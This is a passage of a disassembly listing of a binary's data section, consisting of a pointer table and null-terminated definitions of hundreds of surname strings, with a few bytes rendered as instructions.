		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		xor	ah, ch
		inc	edx
		add	[esp+ebp*8], ah
		inc	edx
		add	[esp+ebp*8], bl
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC21
; ---------------------------------------------------------------------------
		align 10h
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBE4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBE0o
		align 4
aZurn		db 'Zurn',0
		align 4
aZucconi	db 'Zucconi',0
aZoldak		db 'Zoldak',0
		align 4
aZerbini	db 'Zerbini',0
		dd 6167655Ah
		db 6Eh
; ---------------------------------------------------------------------------

loc_42EC21:				; CODE XREF: ___:0042EBDDj
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC93h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBC0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBBCo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBB8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBB4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBB0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EBACo
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EBA8o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EBA4o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EBA0o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB98o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB94o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB90o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB8Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB88o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB84o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB80o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB7Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB78o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB74o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB70o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB6Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB68o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB64o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB60o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB5Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB58o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB54o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB50o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB48o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB44o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB40o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB3Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB38o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB34o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB30o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB2Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB28o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB24o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB20o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB1Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB18o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB14o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB10o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EB0Co
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EB08o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EB04o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EB00o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAFCo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAF8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAF4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAF0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EAECo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAE8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAE4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EADCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAD8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAD4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAD0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EACCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAC8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAC4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAC0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EABCo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAB8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAB4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAB0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EAACo
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EAA8o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EAA4o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EAA0o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA9Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA98o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA94o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA90o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA8Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA88o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA84o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA80o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA7Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA78o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA74o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA70o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA6Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA68o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA64o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA60o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA5Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA58o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA54o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA50o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA4Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA48o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA44o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA40o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA3Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA38o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA34o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA30o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA2Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA28o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA24o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA20o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA1Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA18o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA14o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA10o
aTill		db 'Till',0             ; DATA XREF: ___:0042EA0Co
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042EA08o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042EA04o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042EA00o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9FCo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9F8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9F4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9F0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9ECo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9E8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9E4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9E0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9DCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9D8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9D4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9D0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9CCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9C8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9C4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9C0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9BCo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9B8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9B4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9B0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E9ACo
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E9A8o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E9A4o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E9A0o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E99Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E998o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E994o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E990o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E98Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E988o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E984o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E980o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E97Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E978o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E974o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E970o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E96Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E968o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E964o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E960o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E95Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E958o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E954o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E950o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E94Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E948o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E944o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E940o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E93Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E938o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E934o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E930o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E92Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E928o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E924o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E920o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E91Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E918o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E914o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E910o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E90Co
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E908o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E904o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E900o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8FCo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8F8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8F4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8F0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8ECo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8E8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8E4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8E0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8D8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8D4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8D0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8CCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8C8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8B8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8B4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8B0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E8ACo
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E8A8o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E8A4o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E8A0o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E89Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E898o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E894o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E890o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E88Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E888o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E884o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E880o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E87Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E878o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E874o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E870o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E86Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E868o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E864o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E860o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E85Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E858o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E854o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E850o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E84Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E848o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E844o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E840o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E83Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E838o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E834o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E830o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E82Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E828o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E824o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E820o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E81Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E818o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E814o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E810o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E80Co
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E808o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E804o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E800o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7FCo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7F8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7F4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7F0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7ECo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7E8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7E4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7E0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7DCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7D8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7D4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7CCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7C8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7C4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7C0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7BCo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7B8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7B4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E7ACo
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E7A8o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E7A4o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E7A0o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E79Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E798o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E794o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E790o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E78Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E788o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E784o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E780o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E77Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E778o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E774o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E770o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E76Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E768o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E764o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E760o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E75Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E758o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E754o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E750o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E74Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E748o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E744o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E740o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E73Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E738o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E734o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E730o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E72Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E728o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E724o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E720o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E71Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E718o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E714o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E710o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E70Co
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E708o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E704o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E700o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6FCo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6F8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6F4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6F0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6ECo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6E8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6E4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6E0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6DCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6D8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6D4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6D0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6CCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6C8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6C4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6C0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6BCo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6B8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6B4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6B0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E6ACo
